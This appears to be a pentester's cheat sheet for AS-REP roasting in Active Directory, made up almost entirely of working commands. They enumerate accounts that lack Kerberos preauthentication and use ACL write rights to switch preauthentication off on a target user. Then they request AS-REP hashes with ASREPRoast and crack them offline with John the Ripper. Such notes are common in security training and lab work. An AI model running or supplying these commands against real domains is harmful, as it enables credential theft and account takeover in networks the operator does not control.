Targeted Kerberoasting - AS-REPs
Targeted Kerberoasting - AS-REPs
#Enumerating accounts with Kerberos Preauth disabled
#Using PowerView_dev:
import-module powerview_dev.ps1
Get-DomainUser -PreauthNotRequired -Verbose
#Force disable Kerberos Preauth:
import-module powerview_dev.ps1
#We look for users who are going to be able to be edit because
#I am part of the RDP user. Whatever we find we the below command
#we can enable DoesnotRequirePreAuth and get the hash to crack offline:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Disable the DoesnotRequirePreAuth for a user
Set-DomainObject -Identity <usernametodisablehere> -XOR @{useraccountcontrol=4194304} –Verbose
#see if the account you disabled appears
Get-DomainUser -PreauthNotRequired -Verbose
#Using ActiveDirectory module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
---------------------Abuse it---------------
#import-module
import-module ASREPRoast-master\ASREPRoast.ps1
#Request encrypted AS-REP for offline brute-force
Get-ASREPHash -UserName VPN1user -Verbose
#To enumerate all users with Kerberos preauth disabled and request a hash
Invoke-ASREPRoast -Verbose
Using bleeding-jumbo branch of John The Ripper, we can brute-force the hashes offline.
./john vpn1user.txt --wordlist=wordlist.txt


Last updated